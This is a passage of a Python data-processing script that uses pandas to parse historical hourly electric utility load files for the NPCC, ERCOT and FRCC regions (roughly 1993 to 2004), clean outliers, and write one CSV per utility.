pd.read_fwf('%s/npcc/1999/MMWE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 2000 : pd.read_fwf('%s/npcc/2000/MMWE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 2001 : pd.read_fwf('%s/npcc/2001/MMWE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 2002 : pd.read_fwf('%s/npcc/2002/MMWE02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 2003 : pd.read_fwf('%s/npcc/2003/MMWE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel(), 2004 : pd.read_fwf('%s/npcc/2004/MMWE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=1).iloc[:, 1:].values.ravel() }, 13433 : { 1993 : pd.read_fwf('%s/npcc/1993/NEES93' % (fulldir), widths=(8,7), header=None, skipfooter=1)[1].values, 1994 : pd.read_csv('%s/npcc/1994/NEES94' % (fulldir), header=None, skipfooter=1, sep=' ', skipinitialspace=True)[3].values }, 13435 : { 1993 : pd.read_fwf('%s/npcc/1993/NEPOOL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/npcc/1994/NEPOOL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/NEPOOL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=3).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/npcc/1996/NEPOOL96' % (fulldir), sep=' ', skipinitialspace=True, header=None)[1].values, 1997 : pd.read_fwf('%s/npcc/1997/NEPOOL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : pd.read_excel('%s/npcc/1998/NEPOOL98' % (fulldir), header=None).iloc[:, 5:17].values.ravel(), 1999 : pd.read_csv('%s/npcc/1999/NEPOOL99' % (fulldir), engine='python', skiprows=1).iloc[:, 0].values, 2000 : pd.read_fwf('%s/npcc/2000/NEPOOL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2001 : pd.read_fwf('%s/npcc/2001/NEPOOL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2002 : pd.read_csv('%s/npcc/2002/NEPOOL02' % (fulldir), sep='\t').iloc[:, 3:].values.ravel(), 2003 : pd.read_fwf('%s/npcc/2003/NEPOOL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2004 : pd.read_csv('%s/npcc/2004/NEPOOL04' % (fulldir), sep='\t', header=None, skiprows=10).iloc[:, 5:].values.ravel() }, 13573 : { 1993 : pd.read_csv('%s/npcc/1993/NMPC93' % (fulldir), skiprows=11, header=None, sep=' ', skipinitialspace=True).iloc[:, 3:27].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/NMPC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/npcc/1996/NMPC96' % (fulldir), header=None).iloc[:, 2:14].astype(int).values.ravel(), 1998 : pd.read_fwf('%s/npcc/1998/NMPC98' % (fulldir), header=None).iloc[:, 2:].astype(int).values.ravel(), 1999 : pd.read_fwf('%s/npcc/1999/NMPC99' % (fulldir), header=None).iloc[:, 2:14].astype(int).values.ravel(), 2000 : pd.read_excel('%s/npcc/2000/NMPC00' % (fulldir), sheetname=1, skiprows=10, skipfooter=3).iloc[:, 1:].values.ravel(), 2002 : pd.read_excel('%s/npcc/2002/NMPC02' % (fulldir), sheetname=1, skiprows=2, header=None).iloc[:, 2:].values.ravel(), 2003 : pd.concat([pd.read_excel('%s/npcc/2003/NMPC03' % (fulldir), sheetname=i, skiprows=1, header=None) for i in range(1,13)]).iloc[:, 2:].astype(str).apply(lambda x: x.str[:4]).astype(float).values.ravel() }, 13556 : { 1993 : pd.read_fwf('%s/npcc/1993/NU93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_excel('%s/npcc/1994/NU94' % (fulldir), header=None, skipfooter=1).iloc[:, 3:].values.ravel(), 1995 : pd.read_excel('%s/npcc/1995/NU95' % (fulldir), header=None, skipfooter=5).dropna(how='any').iloc[:, 3:].values.ravel(), 1996 : pd.read_excel('%s/npcc/1996/NU96' % (fulldir), header=None, skipfooter=1).iloc[:, 5:].values.ravel(), 1997 : pd.read_excel('%s/npcc/1997/NU97' % (fulldir), header=None, skipfooter=4).iloc[:, 5:].values.ravel(), 1998 : pd.read_excel('%s/npcc/1998/NU98' % (fulldir), header=None).iloc[:, 5:].values.ravel(), 1999 : pd.read_excel('%s/npcc/1999/NU99' % (fulldir), header=None).iloc[:, 5:].values.ravel(), 2000 : pd.read_csv('%s/npcc/2000/NU00' % (fulldir), sep='\t', header=None).iloc[:, 5:].values.ravel(), 2001 : pd.read_excel('%s/npcc/2001/NU01' % (fulldir)).iloc[:, -1].values, 2002 : pd.read_excel('%s/npcc/2002/NU02' % (fulldir)).iloc[:, -1].values, 2003 : pd.read_excel('%s/npcc/2003/NU03' % (fulldir), skipfooter=1).iloc[:, -1].values }, 15296 : { 1993 : pd.read_csv('%s/npcc/1993/NYPA93' % (fulldir), engine='python', header=None).values.ravel(), 1994 : pd.read_csv('%s/npcc/1994/NYPA94' % (fulldir), engine='python', header=None).values.ravel(), 1995 : pd.read_csv('%s/npcc/1995/NYPA95' % (fulldir), engine='python', header=None).values.ravel(), 1996 : pd.read_csv('%s/npcc/1996/NYPA96' % (fulldir), engine='python', header=None).values.ravel(), 1997 : pd.read_csv('%s/npcc/1997/NYPA97' % (fulldir), engine='python', header=None).values.ravel(), 1998 : pd.read_csv('%s/npcc/1998/NYPA98' % (fulldir), engine='python', header=None).values.ravel(), 1999 : pd.read_excel('%s/npcc/1999/NYPA99' % (fulldir), header=None).values.ravel(), 2000 : pd.read_csv('%s/npcc/2000/NYPA00' % (fulldir), engine='python', header=None).values.ravel(), 2001 : pd.read_csv('%s/npcc/2001/NYPA01' % (fulldir), engine='python', header=None).values.ravel(), 2002 : pd.read_csv('%s/npcc/2002/NYPA02' % (fulldir), engine='python', header=None).values.ravel(), 2003 : pd.read_csv('%s/npcc/2003/NYPA03' % (fulldir), engine='python', header=None).values.ravel() }, 13501 : { 1993 : pd.read_fwf('%s/npcc/1993/NYPP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel() }, 13511 : { 1996 : pd.read_fwf('%s/npcc/1996/NYS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/npcc/1997/NYS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1999 : pd.read_excel('%s/npcc/1999/NYS99' % (fulldir)).iloc[:, 1:].values.ravel(), 2000 : pd.read_csv('%s/npcc/2000/NYS00' % (fulldir), sep='\t').iloc[:, -1].values, 2001 : pd.read_csv('%s/npcc/2001/NYS01' % (fulldir), sep='\t', skiprows=3).dropna(how='all').iloc[:, -1].values, 2002 : pd.read_csv('%s/npcc/2002/NYS02' % (fulldir), sep=' ', skipinitialspace=True, skiprows=3).iloc[:, 2].values, 2003 : pd.read_csv('%s/npcc/2003/NYS03' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None).iloc[:, -1].values, 2004 : pd.read_csv('%s/npcc/2004/NYS04' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None).dropna(how='all').iloc[:, -1].values }, 14154 : { 1993 : pd.read_csv('%s/npcc/1993/OR93' % (fulldir), skiprows=5, header=None).iloc[:, 2:26].values.ravel(), 1995 : (pd.read_csv('%s/npcc/1995/OR95' % (fulldir), header=None).iloc[:, 1:25].values.ravel()/10), 1996 : (pd.read_csv('%s/npcc/1996/OR96' % (fulldir), header=None).iloc[:, 1:25].values.ravel()/10), 1997 : (pd.read_csv('%s/npcc/1997/OR97' % (fulldir), header=None).iloc[:, 1:25].values.ravel()/10), 1998 : pd.read_fwf('%s/npcc/1998/OR98' % (fulldir), skiprows=1, header=None).dropna(axis=1, how='all').iloc[:, 1:].values.ravel(), 1999 : pd.read_csv('%s/npcc/1999/OR99' % (fulldir), sep='\t', skiprows=1, header=None).iloc[:, 1:].values.ravel(), 2000 : pd.read_csv('%s/npcc/2000/OR00' % (fulldir), sep='\t').iloc[:, -1].values.astype(int).ravel(), 2002 : pd.read_csv('%s/npcc/2002/OR02' % (fulldir), sep='\t', skiprows=2).iloc[:, -1].dropna().values.astype(int).ravel(), 2003 : pd.read_csv('%s/npcc/2003/OR03' % (fulldir), sep='\t').iloc[:, -1].dropna().values.astype(int).ravel(), 2004 : pd.read_csv('%s/npcc/2004/OR04' % (fulldir), header=None).iloc[:, -1].values.astype(int).ravel() }, 16183 : { 1994 : pd.read_fwf('%s/npcc/1994/RGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/npcc/1995/RGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/npcc/1996/RGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2002 : pd.read_csv('%s/npcc/2002/RGE02' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True).dropna(axis=1, how='all').iloc[:, -1].values, 2003 : pd.read_csv('%s/npcc/2003/RGE03' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True).dropna(axis=1, how='all').iloc[:, -1].values, 2004 : pd.read_csv('%s/npcc/2004/RGE04' % (fulldir), skiprows=4, sep=' ', skipinitialspace=True).dropna(axis=1, how='all').iloc[:, -1].values }, 19497 : { 1993 : pd.read_fwf('%s/npcc/1993/UI93' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10, 1994 : pd.read_fwf('%s/npcc/1994/UI94' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10, 1995 : pd.read_fwf('%s/npcc/1995/UI95' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10, 1996 : pd.read_fwf('%s/npcc/1996/UI96' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10, 1997 : pd.read_fwf('%s/npcc/1997/UI97' % (fulldir), header=None, skipfooter=1).iloc[:, 1:].values.ravel()/10, 1998 : pd.read_excel('%s/npcc/1998/UI98' % (fulldir))['MW'].values, 1999 : pd.read_excel('%s/npcc/1999/UI99' % (fulldir)).loc[:, 'HR1':'HR24'].values.ravel(), 2001 : pd.read_excel('%s/npcc/2001/UI01' % (fulldir), sheetname=0).ix[:-2, 'HR1':'HR24'].values.ravel(), 2002 : pd.read_excel('%s/npcc/2002/UI02' % (fulldir), sheetname=0).ix[:-2, 'HR1':'HR24'].values.ravel(), 2003 : pd.read_excel('%s/npcc/2003/UI03' % (fulldir), sheetname=0, skipfooter=2).ix[:, 'HR1':'HR24'].values.ravel(), 2004 : pd.read_excel('%s/npcc/2004/UI04' % (fulldir), sheetname=0, skipfooter=1).ix[:, 'HR1':'HR24'].values.ravel() } } npcc[4226][1995] = pd.concat([npcc[4226][1995][2].dropna(), npcc[4226][1995][6]]).values.ravel() npcc[3249][1994][npcc[3249][1994] > 5000] = 0 npcc[3249][1996][npcc[3249][1996] > 5000] = 0 npcc[15296][2000][npcc[15296][2000] > 5000] = 0 npcc[15296][2001][npcc[15296][2001] > 5000] = 0 npcc[4089][1998] = np.repeat(np.nan, len(npcc[4089][1998])) npcc[13511][1996][npcc[13511][1996] < 500] = 0 npcc[13511][1997][npcc[13511][1997] < 500] = 0 npcc[13511][1999][npcc[13511][1999] < 500] = 0 npcc[13511][2000][npcc[13511][2000] < 500] = 0 npcc[14154][2002][npcc[14154][2002] > 2000] = 0 if not os.path.exists('./npcc'): os.mkdir('npcc') for k in npcc.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(npcc[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(npcc[k][i]))) for i in npcc[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].replace('.', '0').astype(float).replace(0, np.nan) s.to_csv('./npcc/%s.csv' % k) ###### ERCOT # AUST: 1015 # CPL: 3278 # HLP: 8901 # LCRA: 11269 # NTEC: 13670 # PUB: 2409 # SRGT: 40233 # STEC: 17583 # TUEC: 44372 # TMPP: 18715 # TXLA: 18679 # WTU: 20404 ercot = { 1015 : { 1993 : pd.read_fwf('%s/ercot/1993/AUST93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/AUST94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/AUST95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/AUST96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/AUST97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['AENX'].loc[2:].astype(float)/1000).values, 1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['AENX'].astype(float)/1000).values, 2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[3].str.replace(',', '').astype(float)/1000).values }, 3278 : { 1993 : pd.read_fwf('%s/ercot/1993/CPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/CPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/CPL96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/CPL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['CPLC'].loc[2:].astype(int)/1000).values }, 8901 : { 1993 : pd.read_fwf('%s/ercot/1993/HLP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/HLP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/HLP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/HLP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/HLP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['HLPC'].loc[2:].astype(int)/1000).values }, 11269: { 1993 : pd.read_fwf('%s/ercot/1993/LCRA93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_csv('%s/ercot/1994/LCRA94' % (fulldir), skiprows=4).iloc[:, -1].values, 1995 : pd.read_fwf('%s/ercot/1995/LCRA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/LCRA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/LCR97' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['LCRA'].loc[2:].astype(int)/1000).values, 1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['LCRA'].astype(float)/1000).values, 2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[6].str.replace(',', '').astype(float)/1000).values }, 13670 : { 1993 : pd.read_csv('%s/ercot/1993/NTEC93' % (fulldir), sep=' ', skipinitialspace=True, header=None)[1].values, 1994 : pd.read_fwf('%s/ercot/1994/NTEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/NTEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/NTEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/NTEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2001 : pd.read_fwf('%s/ercot/2001/NTEC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel() }, 2409 : { 1993 : pd.read_fwf('%s/ercot/1993/PUB93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/PUB94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/PUB95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/PUB96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/PUB97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['PUBX'].loc[2:].astype(int)/1000).values, 1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['PUBX'].astype(float)/1000).values, 2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[7].str.replace(',', '').astype(float)/1000).values }, 40233 : { 1993 : pd.read_csv('%s/ercot/1993/SRGT93' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 1994 : pd.read_fwf('%s/ercot/1994/SRGT94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/SRGT95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/SRGT96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/SRGT97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel() }, 17583 : { 1993 : pd.read_fwf('%s/ercot/1993/STEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['STEC'].loc[2:].astype(int)/1000).values, 1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['STEC'].astype(float)/1000).values, 2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[9].str.replace(',', '').astype(float)/1000).values }, 44372 : { 1993 : pd.read_fwf('%s/ercot/1993/TUEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/TUEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/TUEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/TUE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/TUE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['TUEC'].loc[2:].astype(int)/1000).values }, 18715 : { 1993 : pd.read_csv('%s/ercot/1993/TMPP93' % (fulldir), skiprows=7, header=None, sep=' ', skipinitialspace=True).iloc[:, 3:].values.ravel(), 1995 : pd.read_fwf('%s/ercot/1995/TMPP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/TMPP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1999 : (pd.read_excel('%s/ercot/1999/ERCOT99HRLD060800.xls' % (fulldir), skiprows=14)['TMPP'].astype(float)/1000).values, 2000 : (pd.read_csv('%s/ercot/2000/ERCOT00HRLD.txt' % (fulldir), skiprows=18, header=None, skipinitialspace=True, sep='\t')[10].str.replace(',', '').astype(float)/1000).values }, 18679 : { 1993 : pd.read_csv('%s/ercot/1993/TEXLA93' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 1995 : pd.read_fwf('%s/ercot/1995/TXLA95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/TXLA96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/TXLA97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['TXLA'].loc[2:].astype(int)/1000).values }, 20404 : { 1993 : pd.read_fwf('%s/ercot/1993/WTU93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].astype(str).apply(lambda x: x.str.replace('\s', '0')).astype(float).values.ravel(), 1994 : pd.read_fwf('%s/ercot/1994/WTU94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/ercot/1996/WTU96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/ercot/1997/WTU97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : (pd.read_excel('%s/ercot/1998/FERC714.xls' % (fulldir), skiprows=3)['WTUC'].loc[2:].astype(int)/1000).values } } ercot[2409][1998][ercot[2409][1998] > 300] = 0 ercot[2409][1999][ercot[2409][1999] > 300] = 0 if not os.path.exists('./ercot'): os.mkdir('ercot') for k in ercot.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(ercot[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(ercot[k][i]))) for i in ercot[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./ercot/%s.csv' % k) ###### FRCC # GAIN: 6909 # LAKE: 10623 # FMPA: 6567 # FPC: 6455 # FPL: 6452 # JEA: 9617 # KUA: 10376 # OUC: 14610 # TECO: 18454 # SECI: 21554 frcc = { 6909 : { 1993 : pd.read_fwf('%s/frcc/1993/GAIN93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1994 : pd.read_csv('%s/frcc/1994/GAIN94' % (fulldir), header=None, sep=' ', skipinitialspace=True, skipfooter=2, skiprows=5).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/frcc/1995/GAIN95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/frcc/1996/GAIN96' % (fulldir), sep=' ', skipinitialspace=True).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/GAIN97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/frcc/1998/GAIN98' % (fulldir), sep=' ', skipinitialspace=True, skiprows=3, header=None).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/frcc/1999/GAIN99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2000 : pd.read_fwf('%s/frcc/2000/GAIN00' % (fulldir), header=None).iloc[:, 4:].values.ravel(), 2002 : pd.read_excel('%s/frcc/2002/GAIN02' % (fulldir), sheetname=1, skiprows=3, header=None).iloc[:730, 8:20].values.ravel(), 2003 : pd.read_excel('%s/frcc/2003/GAIN03' % (fulldir), sheetname=2, skiprows=3, header=None).iloc[:730, 8:20].values.ravel(), 2004 : pd.read_excel('%s/frcc/2004/GAIN04' % (fulldir), sheetname=0, header=None).iloc[:, 8:].values.ravel() }, 10623: { 1993 : pd.read_fwf('%s/frcc/1993/LAKE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/frcc/1994/LAKE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/frcc/1995/LAKE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_fwf('%s/frcc/1996/LAKE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1997 : pd.read_fwf('%s/frcc/1997/LAKE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1998 : pd.read_fwf('%s/frcc/1998/LAKE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 1999 : pd.read_fwf('%s/frcc/1999/LAKE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 2000 : pd.read_fwf('%s/frcc/2000/LAKE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, 1:].values.ravel(), 2001 : pd.read_fwf('%s/frcc/2001/LAKE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 2002 : pd.read_fwf('%s/frcc/2002/LAKE02' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel() }, 6567 : { 1993 